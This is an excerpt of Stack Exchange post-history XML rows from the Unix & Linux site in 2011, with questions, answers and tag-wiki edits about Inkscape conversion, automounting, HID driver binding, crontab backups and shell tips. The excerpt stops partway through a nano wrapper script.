  <row Id="29286" PostHistoryTypeId="2" PostId="12002" RevisionGUID="f5889efe-1c51-4f46-97c9-ad935069f5f2" CreationDate="2011-04-25T21:54:16.777" UserId="885" Text="[Inkscape](http://inkscape.org/) can convert between various vector graphics formats, including SVG to PDF. Although it's normally a GUI application, it can run in batch mode without an X server available.&#xD;&#xA;&#xD;&#xA;    inkscape --without-gui --export-pdf=foo.pdf foo.svg&#xD;&#xA;    lpr foo.pdf&#xD;&#xA;&#xD;&#xA;Or if you want to print directly:&#xD;&#xA;&#xD;&#xA;    inkscape --without-gui --export-pdf=/dev/stdout foo.svg | lpr&#xD;&#xA;&#xD;&#xA;Another possibility is the Apache [Batik](http://xml.apache.org/batik) library. However, although there is a command line tool based on that library, [Fop](http://xmlgraphics.apache.org/fop/), it doesn't seem to have a way to use SVG input, so you'd have to write a bit of glue code in Java.&#xD;&#xA;" />
  <row Id="29287" PostHistoryTypeId="5" PostId="11994" RevisionGUID="8283cf46-08bf-4c5a-83f5-9fc6ea823fa0" CreationDate="2011-04-25T21:58:25.013" UserId="4485" Comment="described the locate-way" Text="A first, simplistic approach, could be:&#xD;&#xA;&#xD;&#xA;a) sort your filelist: &#xD;&#xA;&#xD;&#xA;    sort file.lst &gt; sorted.lst &#xD;&#xA;    for f in $(&lt; sortd.lst) ; do find -name $f -printf &quot;%f\n&quot;; done &gt; found.lst&#xD;&#xA;    diff sorted.lst found.lst&#xD;&#xA;to find missings, or&#xD;&#xA;&#xD;&#xA;    comm sorted.lst found.lst&#xD;&#xA;to find matches&#xD;&#xA;&#xD;&#xA; * Pitfalls: &#xD;&#xA;  * Newlines in filenames are very hard to handle&#xD;&#xA;  * blanks and similar things in filenames aren't nice too. But since you have control over the files in the list of files, maybe this solution is already sufficient, however ...&#xD;&#xA; * Drawbacks: &#xD;&#xA;  * When find finds a file, it keeps running to find another one, and another one. It would be nice to skip further search. &#xD;&#xA;  * find could search for multiple files at once, with some preparation: &#xD;&#xA;&#xD;&#xA;     find -name a.file -or -name -b.file -or -name c.file ...&#xD;&#xA;&#xD;&#xA;Could locate be an option? Again, a presorted list of files assumed:&#xD;&#xA;&#xD;&#xA;     for f in $(&lt; sorted.tmp) ; do locate --regexp &quot;/&quot;$f&quot;$&quot; &gt; /dev/null || echo missing $f ; done&#xD;&#xA;&#xD;&#xA;A search for foo.bar will not match a a file foo.ba, or oo.bar with the --regexp-construct (not to be confuesed by regex without p).&#xD;&#xA;&#xD;&#xA;You may specify a specific database for locate, and you have to update it before searching, if you need most recent results." />
  <row Id="29288" PostHistoryTypeId="2" PostId="12003" RevisionGUID="0791feb2-4a3d-4ef2-afeb-860dca05b9d8" CreationDate="2011-04-25T21:59:56.057" UserId="6941" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I've installed Arch Linux on my computer and I'm not using a desktop environment.  I just have Openbox window manager installed and bit by bit I'm building up my system with necessary applications etc.  My problem is that with a DE I had the convenience of being able to access my two CD drives or my pen drive immediately - it just detected them and would mount them automatically.  The same can be said for my Windows partition that used to be detected automatically with a DE.  Why is it that with no DE this sort of functionality is no longer present?  I have my Windows partition mounting through an entry in fstab and creating a mount point in /mnt...that's all well and good but having to do the same thing or having to use the mount command in the terminal for simple things like plugging a USB pen drive in is a bit ridiculous.  Is there any way that I can get automounting functionality?&#xD;&#xA;&#xD;&#xA;I looked around for similar questions but all of them used a DE so I couldn't really relate to them.  Sorry if this question has been asked before.&#xD;&#xA;&#xD;&#xA;Thanks for any help,&#xD;&#xA;Mike" />
  <row Id="29289" PostHistoryTypeId="1" PostId="12003" RevisionGUID="0791feb2-4a3d-4ef2-afeb-860dca05b9d8" CreationDate="2011-04-25T21:59:56.057" UserId="6941" Text="How can I automount devices with no desktop environment?" />
  <row Id="29290" PostHistoryTypeId="3" PostId="12003" RevisionGUID="0791feb2-4a3d-4ef2-afeb-860dca05b9d8" CreationDate="2011-04-25T21:59:56.057" UserId="6941" Text="éwindowömanageràéautomountingàéopenboxà" />
  <row Id="29291" PostHistoryTypeId="6" PostId="11932" RevisionGUID="fd57a874-627b-4ea6-8716-c2262b5eedc0" CreationDate="2011-04-25T22:02:27.710" UserId="885" Comment="edited tags" Text="éshellàéfilesà" />
  <row Id="29292" PostHistoryTypeId="2" PostId="12004" RevisionGUID="f6e0251d-81ba-4207-b461-8e2e56f83f34" CreationDate="2011-04-25T22:03:02.373" UserId="1925" Text="You should probably look into setting up your own hal rules to automount drives and even run commands on connect, or configure [pmount][1] or hotplug.&#xD;&#xA;&#xD;&#xA;There are quite a few automounters for linux, you just have to figure out what suits your work best.&#xD;&#xA;&#xD;&#xA;Also be aware that you can run many parts from the larger DE's like gnome without running the full thing. You should be able to use gnome-volume-manager separately from using it for your session.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/pmount" />
  <row Id="29293" PostHistoryTypeId="2" PostId="12005" RevisionGUID="93066648-9503-4031-a6b3-73b3a373580f" CreationDate="2011-04-25T22:03:39.627" UserId="6940" Text="First background. I am developing a driver for Logitech game-panel devices. It's a keyboard with a screen on it. The driver is working nicely but by default the device is handled by HID. In order to prevent HID taking over the device before my driver, I can blacklist it in hid-core.c. This works but is not the best solution as I am working with several people and we all have to keep patching our HID module which is becoming a chore, especially as it often involves rebuilding initramfs and such.&#xD;&#xA;&#xD;&#xA;I did some research on this problem and I found [this mailing list post][1], which eventually took me to [this article on LWN][2]. This describes a mechanism for binding devices to specific drivers at runtime. This seems like exactly what I need.&#xD;&#xA;&#xD;&#xA;So, I tried it. I was able to unbind the keyboard from HID. This worked and as expected I could no longer type on it. But when I tried to bind it to our driver I get &quot;error: no such device&quot; and the operation fails.&#xD;&#xA;&#xD;&#xA;So my question is: How do I use kernel bind/unbind operations to replicate what happens when you blacklist a HID device in hid-core and supply your own driver? - that is - to replace the need to patch hid-core.c all the time?&#xD;&#xA;&#xD;&#xA;The source of our driver is here: https://github.com/ali1234/lg4l&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.derkeiler.com/Mailing-Lists/Kernel/2007-01/msg05195.html&#xD;&#xA;  [2]: http://lwn.net/Articles/143397/" />
  <row Id="29294" PostHistoryTypeId="1" PostId="12005" RevisionGUID="93066648-9503-4031-a6b3-73b3a373580f" CreationDate="2011-04-25T22:03:39.627" UserId="6940" Text="How to use Linux kernel driver bind/unbind interface for USB-HID devices?" />
  <row Id="29295" PostHistoryTypeId="3" PostId="12005" RevisionGUID="93066648-9503-4031-a6b3-73b3a373580f" CreationDate="2011-04-25T22:03:39.627" UserId="6940" Text="élinuxàékernelàéusbàédevelopmentàékernelödriversà" />
  <row Id="29296" PostHistoryTypeId="6" PostId="11937" RevisionGUID="a5c038c5-5dd3-463e-ac49-acc87a8d102a" CreationDate="2011-04-25T22:06:50.487" UserId="885" Comment="edited tags" Text="éshellàépipeà" />
  <row Id="29297" PostHistoryTypeId="5" PostId="12004" RevisionGUID="1faf0c6a-b47d-46ce-b2e8-945c0fe8b213" CreationDate="2011-04-25T22:08:53.637" UserId="1925" Comment="added 26 characters in body" Text="You should probably look into setting up your own udev, hal or hotplug rules to automount drives and even run commands when they connect. You could also look into  [pmount][1].&#xD;&#xA;&#xD;&#xA;There are quite a few automounters for linux, you just have to figure out what suits your work best.&#xD;&#xA;&#xD;&#xA;Also be aware that you can run many parts from the larger DE's like gnome without running the full thing. You should be able to use gnome-volume-manager separately from using it for your session.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/pmount" />
  <row Id="29298" PostHistoryTypeId="5" PostId="12003" RevisionGUID="705a9ab8-ea23-458a-b955-90a1f80103a7" CreationDate="2011-04-25T22:09:19.970" UserId="1925" Comment="Remove salutation and signature per FAQ." Text="I've installed Arch Linux on my computer and I'm not using a desktop environment.  I just have Openbox window manager installed and bit by bit I'm building up my system with necessary applications etc.  My problem is that with a DE I had the convenience of being able to access my two CD drives or my pen drive immediately - it just detected them and would mount them automatically.  The same can be said for my Windows partition that used to be detected automatically with a DE.  Why is it that with no DE this sort of functionality is no longer present?  I have my Windows partition mounting through an entry in fstab and creating a mount point in /mnt...that's all well and good but having to do the same thing or having to use the mount command in the terminal for simple things like plugging a USB pen drive in is a bit ridiculous.  Is there any way that I can get automounting functionality?&#xD;&#xA;&#xD;&#xA;I looked around for similar questions but all of them used a DE so I couldn't really relate to them." />
  <row Id="29299" PostHistoryTypeId="24" PostId="12003" RevisionGUID="705a9ab8-ea23-458a-b955-90a1f80103a7" CreationDate="2011-04-25T22:09:19.970" Comment="Proposed by 1925 approved by 885 edit id of 323" />
  <row Id="29300" PostHistoryTypeId="2" PostId="12006" RevisionGUID="337d6355-ca67-49d2-ab79-a9cf03c1fd5c" CreationDate="2011-04-25T22:09:29.860" UserId="6761" Text="If you don't want to use hal, you could use a udev rule to automount your drives. The Arch Wiki has a good article on rules here:&#xD;&#xA;&#xD;&#xA;https://wiki.archlinux.org/index.php/Udev#Auto_mounting_USB_devices&#xD;&#xA;&#xD;&#xA;You could also look at using something like udiskie (it's in the AUR):&#xD;&#xA;&#xD;&#xA;https://wiki.archlinux.org/index.php/Udiskie&#xD;&#xA;&#xD;&#xA;There is also a script for [integrating udiskie into your Openbox menu][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Udiskie#Openbox" />
  <row Id="29301" PostHistoryTypeId="6" PostId="12003" RevisionGUID="ca43737a-4754-4a25-af4b-56d2e389f623" CreationDate="2011-04-25T22:10:52.993" UserId="885" Comment="edited tags" Text="élinuxàécommandölineàéautomountingàéopenboxà" />
  <row Id="29302" PostHistoryTypeId="5" PostId="12000" RevisionGUID="e8cb3486-6a8a-4e45-a206-8deba88b3ad1" CreationDate="2011-04-25T22:13:41.043" UserId="885" Comment="escape % characters in crontab" Text="Try&#xD;&#xA;&#xD;&#xA;    5 3 * * * mysqldump -u root test &gt; /srv/backup/mysql_daily.$(/bin/date +\%Y\%m\%d).dump&#xD;&#xA;&#xD;&#xA;which will put the current [date][1] in the format YYYYMMDD into the filename. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/date" />
  <row Id="29303" PostHistoryTypeId="5" PostId="12001" RevisionGUID="835b6c9c-6c69-4da5-861b-68dae3626971" CreationDate="2011-04-25T22:14:20.060" UserId="885" Comment="escape % characters in crontab" Text="The general practice for this is to use a timestamp using `date +%s` to generate something useful to mark the file (I used seconds as an example but you can use any date format). It's really not necessary to have a truly unique file name as long as the file name doesn't conflict.&#xD;&#xA;&#xD;&#xA;    5 3 * * * mysqldump -u root test &gt; /srv/backup/mysql_daily_`date +\%s`.dump" />
  <row Id="29304" PostHistoryTypeId="5" PostId="11999" RevisionGUID="19cce3d0-ede1-4f2c-8a30-ea07c0dbb53d" CreationDate="2011-04-25T22:15:13.773" UserId="885" Comment="escape % characters in crontab" Text="For bash, maybe:&#xD;&#xA;&#xD;&#xA;    ... &gt; /srv/backup/mysql_daily-$(date -u +\%Y\%m\%dt\%H\%M\%S).${RANDOM}.dump&#xD;&#xA;&#xD;&#xA;Personally, i generally only put simple commands in my `crontab`. I'd put this in a little script and use the script in the `crontab`. This would have the benefit of not requiring the `%` characters to be escaped (a common crontab pitfall).&#xD;&#xA;" />
  <row Id="29305" PostHistoryTypeId="2" PostId="12007" RevisionGUID="148aab38-3ba0-4bf8-8308-9200b07949aa" CreationDate="2011-04-25T22:24:05.827" UserId="885" Text="`ifconfig` and friends obtain most of the information they show by calling various [ioctl](http://en.wikipedia.org/wiki/Ioctl)'s on sockets. I recommend reading the source of `ifconfig` and other tools to see exactly what they do. But in most cases, it'll be easier to `popen` an `ifconfig` command.&#xD;&#xA;&#xD;&#xA;Note that in both cases, your program will have to be ported to different unix variants. Neither ioctl nor the output format of ifconfig and other commands is portable.&#xD;&#xA;&#xD;&#xA;An advantage of using ioctl's is not depending on external tools. On Linux, you can count on `ifconfig` and `route` being available, as well as `iwconfig` if there are wireless interfaces, but not necessarily `ip` (`ip` shows more information and its output is easier to parse, but most distributions don't install it by default, so it's actually not a good idea for portability).&#xD;&#xA;" />
  <row Id="29306" PostHistoryTypeId="6" PostId="11926" RevisionGUID="3a3114cb-371e-4580-afda-848b5bc39d43" CreationDate="2011-04-25T22:25:40.040" UserId="885" Comment="edited tags" Text="épermissionsàéusersàéfilesà" />
  <row Id="29307" PostHistoryTypeId="6" PostId="31" RevisionGUID="f3621997-36d1-4969-857d-a44eab3be330" CreationDate="2011-04-25T22:44:31.127" UserId="885" Comment="edited tags" Text="écommandölineàélessà" />
  <row Id="29308" PostHistoryTypeId="6" PostId="1197" RevisionGUID="d5c6f0e7-2e5f-4bb5-9726-bb9811bcc801" CreationDate="2011-04-25T22:44:50.113" UserId="885" Comment="edited tags" Text="étextöprocessingàésedà" />
  <row Id="29309" PostHistoryTypeId="6" PostId="2434" RevisionGUID="0b67b7a3-4386-4ef6-a70d-cc1d3cf74aea" CreationDate="2011-04-25T22:45:03.687" UserId="885" Comment="edited tags" Text="égrepàésedàéawkà" />
  <row Id="29310" PostHistoryTypeId="6" PostId="4961" RevisionGUID="9a371c34-eb4b-4280-93ad-1ad0b6179db4" CreationDate="2011-04-25T22:45:13.173" UserId="885" Comment="edited tags" Text="écommandölineàésoftwareörecàémp3àétaggingà" />
  <row Id="29311" PostHistoryTypeId="6" PostId="786" RevisionGUID="0693712d-8192-4dd3-8441-5f71e6e5668f" CreationDate="2011-04-25T22:45:56.463" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàésecurityàémonitoringà" />
  <row Id="29312" PostHistoryTypeId="6" PostId="7688" RevisionGUID="ef459a41-fb33-454b-8ae7-4bd805b0e282" CreationDate="2011-04-25T22:46:19.757" UserId="885" Comment="edited tags" Text="éshellöscriptàédateà" />
  <row Id="29313" PostHistoryTypeId="2" PostId="12008" RevisionGUID="7d12b155-b339-44ac-b7bf-65b840610a15" CreationDate="2011-04-25T22:56:37.727" UserId="885" Text="Unix shells are primarily glue programs designed to invoke and manage other programs. Many common tasks are performed by small external programs, often called utilities. In unix terminology, utilities include both shell built-ins and external commands.&#xD;&#xA;&#xD;&#xA;### Utilities with their own tags&#xD;&#xA;&#xD;&#xA;* [tag:awk] Text processing, when sed doesn't cut it.&#xD;&#xA;* [tag:cd] Change directory. Related utilities are `pushd`, `pop` and `dirs` to manage a directory stack.&#xD;&#xA;* [tag:cp] Copy files.&#xD;&#xA;* [tag:date] Print the current (or another) date and time.&#xD;&#xA;* [tag:dd] Process binary data.&#xD;&#xA;* [tag:find] Look for files in a directory tree.&#xD;&#xA;* [tag:grep] Search a pattern in a file.&#xD;&#xA;* [tag:ls] List the files in a directory.&#xD;&#xA;* [tag:mv] Rename or move files.&#xD;&#xA;* [tag:rm] Remove (delete) files.&#xD;&#xA;* [tag:sed] Simple text processing, mainly regexp replacement.&#xD;&#xA;&#xD;&#xA;### Utility references&#xD;&#xA;&#xD;&#xA;* [POSIX utility list](http://pubs.opengroup.org/onlinepubs/009695399/idx/utilities.html)&#xD;&#xA;* [List of utilities included in BusyBox](http://www.busybox.net/downloads/BusyBox.html)&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/11454/what-is-the-difference-between-a-builtin-command-and-one-that-is-not&#xD;&#xA;* http://unix.stackexchange.com/questions/2645/difference-between-references-of-linux-utilities-commands-and-programs&#xD;&#xA;* http://unix.stackexchange.com/questions/11376/what-does-double-dash-mean&#xD;&#xA;" />
  <row Id="29314" PostHistoryTypeId="2" PostId="12009" RevisionGUID="e0d2e08f-96e9-44c6-8fed-ef2bdeabe04b" CreationDate="2011-04-25T22:56:37.727" UserId="885" Text="small programs used on the command line to do a specific job" />
  <row Id="29315" PostHistoryTypeId="5" PostId="5283" RevisionGUID="8a7b22b0-ef33-4ae5-a15e-efff4618adfc" CreationDate="2011-04-25T22:56:57.493" UserId="885" Comment="moved the list of utility tags to [tag:utilities]" Text="The [shell](http://en.wikipedia.org/wiki/Shell_%28computing%29) is a program whose primary role is to enable the user to call *other* programs and make them interact. In a [unix](http://en.wikipedia.org/wiki/Unix_shell) context, a shell is almost always a command-line interpreter.&#xD;&#xA;&#xD;&#xA;More precisely, unless otherwise specified, a unix shell is compatible with the [POSIX / Single UNIX shell specification](http://pubs.opengroup.org/onlinepubs/009695399/idx/shell.html). Most unices have a such a shell available as `/bin/sh`.&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:command-line] for when you want to do something without a GUI, and your question isn't particularly about the command interpreter&#xD;&#xA;* [tag:terminal] for questions about the surrounding text mode environment&#xD;&#xA;&#xD;&#xA;## Shell implementations&#xD;&#xA;&#xD;&#xA;### Main Bourne-style shells&#xD;&#xA;&#xD;&#xA;* The [Bourne shell](http://en.wikipedia.org/wiki/Bourne_shell) is one of the two surviving shells from the old days, now mostly superseded by various shells called ash, ksh and bash. The POSIX specification builds on the Bourne shell.&#xD;&#xA;* [tag:bash] [Bash](http://www.gnu.org/software/bash/) is a Bourne-style, POSIX-compliant shell from the [GNU](http://www.gnu.org/) project. It is the default interactive and scripting shell on most Linux distributions, and available on most other unices. Bash adds many features, both for scripting and for interactive use.&#xD;&#xA;* [tag:ksh] [Ksh](http://kornshell.com/) is a Bourne-style, POSIX-compliant shell. It adds many advanced features, mostly for scripting. Although ksh has been open-source since 2000, it is still less favored in the open source world, and there are several partial ksh clones.&#xD;&#xA;* [tag:zsh] [Zsh](http://www.zsh.org/) is mostly Bourne-style, but with a few syntactic differences. It has a POSIX emulation mode. It has many extra features, both for scripting and for interactive use.&#xD;&#xA;* [tag:busybox] [Busybox](http://www.busybox.net/) is a contains a mostly POSIX-compliant shell with some line edition capabilities together with many simple utilities. It is targetted towards embedded systems.&#xD;&#xA;&#xD;&#xA;### Other well-known shells&#xD;&#xA;&#xD;&#xA;* [tag:csh] [tag:tcsh] The [C shell](http://en.wikipedia.org/wiki/C_shell) is one of the two surviving shells from the old days. It is [not favored for scripting](http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/). The main implementation today is [tcsh](http://www.tcsh.org/). C shells used to have more interactive features than Bourne-style shells, but bash and zsh have now overtaken tcsh.&#xD;&#xA;* [tag:fish] [Fish](http://fishshell.org/) is a relative newcomer inspired by classical and aiming to combine power and simplicity.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What are the fundamental differences between the mainstream *NIX shells?](http://unix.stackexchange.com/questions/3320/what-are-the-fundamental-differences-between-the-mainstream-nix-shells)&#xD;&#xA;* [Object-oriented shell for *nix](http://unix.stackexchange.com/questions/4495/object-oriented-shell-for-nix)&#xD;&#xA;&#xD;&#xA;## Interactive use&#xD;&#xA;&#xD;&#xA;These are features commonly found in shells with good interaction support (bash, tcsh, zsh, fish):&#xD;&#xA;&#xD;&#xA;* command line edition, often with configurable key bindings.&#xD;&#xA;* [tag:command-history] a history of commands that can be navigated with the `Up` and `Down` keys, searched, etc.; also a recall mechanism based on expanding sequences beginning with `!`.&#xD;&#xA;* [tag:autocomplete] completion of partially-entered file names, command names, options and other arguments.&#xD;&#xA;* [tag:job-control] management of background processes.&#xD;&#xA;* [tag:prompt] showing a prompt before each command, which many users like to configure.&#xD;&#xA;* [tag:alias] defining short names for often-used commands&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons)&#xD;&#xA;* [What are your favorite command line features or tricks?](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks)&#xD;&#xA;* http://unix.stackexchange.com/questions/983/what-features-are-in-zsh-and-missing-from-bash-or-vice-versa&#xD;&#xA;* [Colorizing your terminal and shell environment?](http://unix.stackexchange.com/questions/148/colorizing-your-terminal-and-shell-environment)&#xD;&#xA;* [best way to search my shell's history](http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history); [How to access the history on the fly in unix?](http://unix.stackexchange.com/questions/1254/how-to-access-the-history-on-the-fly-in-unix)&#xD;&#xA;&#xD;&#xA;## Shell scripting&#xD;&#xA;&#xD;&#xA;Shells have traditional control structures (conditionals, loops) as well as means to combine processes (in particular the [pipe](http://en.wikipedia.org/wiki/Pipe_%28Unix%29)). They have built-in support for a few tasks such as arithmetic and basic string manipulation, but rely on external commands for other things.&#xD;&#xA;&#xD;&#xA;Almost every unix-like system provides a [POSIX](http://pubs.opengroup.org/onlinepubs/009695399/)-compliant shell, usually as `/bin/sh`. So scripts aiming to be portable between unix variants should be written according to that standard, and start with the `#!/bin/sh` [shebang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29) line.&#xD;&#xA;&#xD;&#xA;Many systems have at least ksh or bash available. These provide a number of useful extensions, though not always with the same syntax. Features present in both (and in zsh) include local variables in function, array variables, the double bracket syntax for conditionals (`[[ … ]]`), and (requiring an option to be set in bash and zsh) additional globbing patterns such as `@(…)`.&#xD;&#xA;&#xD;&#xA;A common difficulty in shell programming is quoting. Unlike in most programming languages, almost everything is a string, and quoting is only necessary around special characters. However some cases are tricky. In particular, a common pitfall is that variable and common substitions (`$foo`, `$(foo)`) undergo further expansion and should be protected by double quotes (`&quot;$foo&quot;`, `&quot;$(foo)&quot;`) unless that further expansion is desired.&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:quoting] a tricky aspect of shell programming&#xD;&#xA;* [tag:wildcards] globbing, i.e., using patterns to match multiple files&#xD;&#xA;* [tag:io-redirection] connecting the input or output of a command to a file&#xD;&#xA;* [tag:pipe] connecting the output of a command to the input of another command&#xD;&#xA;* [tag:file-management] [tag:text-processing] two common shell tasks&#xD;&#xA;* [tag:utilities] Shells often call external utilities dedicated to one particular task.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Practical tasks to learn shell scripting.](http://unix.stackexchange.com/questions/490/practical-tasks-to-learn-shell-scripting)&#xD;&#xA;* [$VAR vs ${VAR} and to quote or not to quote](http://unix.stackexchange.com/questions/4899/var-vs-var-and-to-quote-or-not-to-quote)&#xD;&#xA;* [How do I delete a file whose name begins with “--”?](http://unix.stackexchange.com/questions/1519/how-do-i-delete-a-file-whose-name-begins-with)&#xD;&#xA;" />
  <row Id="29316" PostHistoryTypeId="5" PostId="11975" RevisionGUID="2b3e9af7-8722-4473-8563-b3d74525a026" CreationDate="2011-04-25T23:00:37.290" UserId="6935" Comment="deleted 2 characters in body" Text="You want all your photos to be 6x4 with a width of 1024, right? That means they should be 683 pixels high.&#xD;&#xA;&#xD;&#xA;If that is correct, what you're looking for is&#xD;&#xA;&#xD;&#xA;`convert  &lt;input_image&gt;  -resize 1024x683^  -gravity center  -extent 1024x683  &lt;output_image&gt;`&#xD;&#xA;&#xD;&#xA;This will crop the edges to fit the aspect and resize them to 1024x683. It will make small images larger, as well as making large images smaller to fit your size." />
  <row Id="29317" PostHistoryTypeId="2" PostId="12010" RevisionGUID="9f3e0c0e-b4ba-4e99-b48c-4955656c1ed1" CreationDate="2011-04-25T23:05:55.680" UserId="6944" Text="I know Debian is general purpose, so a Debian install could just as easily be a server as a desktop. It seems, however, that even with a DVD of disk1 from Debian, it is downloading a tremendous number of files from the network mirror. I would have thought a DVD would be enough to get a base desktop installation running. What am I missing here?  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="29318" PostHistoryTypeId="1" PostId="12010" RevisionGUID="9f3e0c0e-b4ba-4e99-b48c-4955656c1ed1" CreationDate="2011-04-25T23:05:55.680" UserId="6944" Text="Why does Debian take so long to install? (Desktop install)" />
  <row Id="29319" PostHistoryTypeId="3" PostId="12010" RevisionGUID="9f3e0c0e-b4ba-4e99-b48c-4955656c1ed1" CreationDate="2011-04-25T23:05:55.680" UserId="6944" Text="édebianàéinstallàédesktopà" />
  <row Id="29320" PostHistoryTypeId="4" PostId="12010" RevisionGUID="a8a89f3e-4fb7-45fc-9ef7-112343c63a6c" CreationDate="2011-04-25T23:15:15.240" UserId="885" Comment="edited tags; edited title" Text="Why does a installing Debian from DVD download many packages?" />
  <row Id="29321" PostHistoryTypeId="6" PostId="12010" RevisionGUID="a8a89f3e-4fb7-45fc-9ef7-112343c63a6c" CreationDate="2011-04-25T23:15:15.240" UserId="885" Comment="edited tags; edited title" Text="édebianàéinstallàédesktopàédvdà" />
  <row Id="29322" PostHistoryTypeId="2" PostId="12011" RevisionGUID="b808deff-24a6-484e-976a-0bae5ab0b70b" CreationDate="2011-04-25T23:15:37.267" UserId="885" Text="You would get better response if&#xD;&#xA;&#xD;&#xA;* you didn't use such a vague and inflammatory title (I've fixed that for you);&#xD;&#xA;* you gave a list of packages you chose to install, and a list of packages that were not on the DVD.&#xD;&#xA;&#xD;&#xA;Your question being what it is, here are two guesses:&#xD;&#xA;&#xD;&#xA;* The packages downloaded from the network are security or other updates, issued after the DVD image was built.&#xD;&#xA;* You have unusual tastes.&#xD;&#xA;&#xD;&#xA;As [mentioned in the Debian CD FAQ](http://www.debian.org/CD/faq/#which-cd), packages are sorted into Debian CDs and DVDs mainly according to their [popularity](http://popcon.debian.org/).&#xD;&#xA;" />
  <row Id="29323" PostHistoryTypeId="25" PostId="12005" RevisionGUID="216196e7-6c1c-4ff0-8486-91c052a0391e" CreationDate="2011-04-26T00:09:10.540" Comment="http://twitter.com/#!/StackUnix/status/62669511475740672" />
  <row Id="29324" PostHistoryTypeId="6" PostId="11933" RevisionGUID="d5f9e02d-5f28-4f18-ba9a-5fce74fb38a5" CreationDate="2011-04-26T00:28:07.497" UserId="885" Comment="edited tags" Text="ébashàélineöeditorà" />
  <row Id="29325" PostHistoryTypeId="2" PostId="12012" RevisionGUID="4454a645-8a91-4095-8902-3607d755a9fb" CreationDate="2011-04-26T00:40:06.133" UserId="3169" Text="Other than the obvious, my two favorites:&#xD;&#xA;&#xD;&#xA;1. `export LESS=-FX` - if there is under one page, I don't need to press `q` to quit&#xD;&#xA;2. Type `/^HEADING` to search for headings and `/^ *-option` to search for options  &#xD;&#xA;   (especially useful in the bash man page, which in very large)&#xD;&#xA;" />
  <row Id="29326" PostHistoryTypeId="2" PostId="12013" RevisionGUID="5138f444-c366-46de-9120-e558559dffcc" CreationDate="2011-04-26T00:48:39.063" UserId="3169" Text="If you don't have `bash` or `zsh` (e.g. you just have `ksh`), or you want a way that works in all modern shells, this is how I do it:&#xD;&#xA;&#xD;&#xA;**.profile**&#xD;&#xA;&#xD;&#xA;    test -f &quot;$HOME&quot;/.exitrc &amp;&amp; trap &quot;. $HOME/.exitrc&quot; EXIT&#xD;&#xA;&#xD;&#xA;**.exitrc**&#xD;&#xA;&#xD;&#xA;    type clear &gt;/dev/null 2&gt;&amp;1 &amp;&amp; clear&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;In my case, `.bash_profile` and `.zlogin` don't have any commands in them, that way I can just change `.profile` or `.exitrc`, rather than having to edit separate files for each shell.&#xD;&#xA;&#xD;&#xA;**.bash_profile**&#xD;&#xA;&#xD;&#xA;    test -f ~/.bashrc &amp;&amp; . ~/.bashrc&#xD;&#xA;    test -f ~/.profile &amp;&amp; . ~/.profile&#xD;&#xA;&#xD;&#xA;**.zlogin**&#xD;&#xA;&#xD;&#xA;    test -f ~/.profile &amp;&amp; . ~/.profile&#xD;&#xA;" />
  <row Id="29327" PostHistoryTypeId="4" PostId="11998" RevisionGUID="93814ff9-7f8b-46c6-92b9-5fe3e6417335" CreationDate="2011-04-26T01:00:49.587" UserId="3169" Comment="fix spelling" Text="How to add unique id to file name in cron job?" />
  <row Id="29328" PostHistoryTypeId="2" PostId="12014" RevisionGUID="2f3ab240-f228-4f05-8052-7b6251f70866" CreationDate="2011-04-26T01:20:22.950" UserId="3169" Text="I just tried `nano`, and what I found most surprising is it doesn't even warn you that the file is read-only when you start trying to edit the file.&#xD;&#xA;&#xD;&#xA;Here's a (basic) script that does that.&#xD;&#xA;&#xD;&#xA;It checks if you can edit the file, and if you can't, it runs &quot;nano&quot; as root instead.&#xD;&#xA;&#xD;&#xA;**/usr/local/bin/edit** (or **~/bin/edit**)&#xD;&#xA;&#xD;&#xA;    sudo=                       # empty is false, non-empty is true&#xD;&#xA;    editor=nano                 # XXX check $EDITOR and $VISUAL&#xD;&#xA;&#xD;&#xA;    if test ! -w &quot;$1&quot;; then&#xD;&#xA;        if test -t 0 &amp;&amp; test -t 2; then&#xD;&#xA;            printf &quot;%s is not writable.  Edit with sudo? [y/n] &quot; &quot;$1&quot; 1&gt;&amp;2&#xD;&#xA;            read -n 1&#xD;&#xA;            case $REPLY in&#xD;&#xA;            y|Y)&#xD;&#xA;                sudo=true&#xD;&#xA;                ;;&#xD;&#xA;            n|N)&#xD;&#xA;                sudo=&#xD;&#xA;                ;;&#xD;&#xA;            *)&#xD;&#xA;                printf &quot;\nExpected y or n.  Exiting.\n&quot; 1&gt;&amp;2&#xD;&#xA;                exit 1&#xD;&#xA;                ;;&#xD;&#xA;            esac&#xD;&#xA;        else&#xD;&#xA;            printf &quot;%s is not writable.  Fix the permissions or run \&quot;view\&quot; instead.&quot; &quot;$1&quot; 1&gt;&amp;2&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    ${sudo:+sudo} &quot;$editor&quot; &quot;$1&quot;&#xD;&#xA;&#xD;&#xA;**/usr/local/bin/view** (or **~/bin/view**)&#xD;&#xA;&#xD;&#xA;    editor=nano&#xD;&#xA;    readonlyflag=-v&#xD;&#xA;&#xD;&#xA;    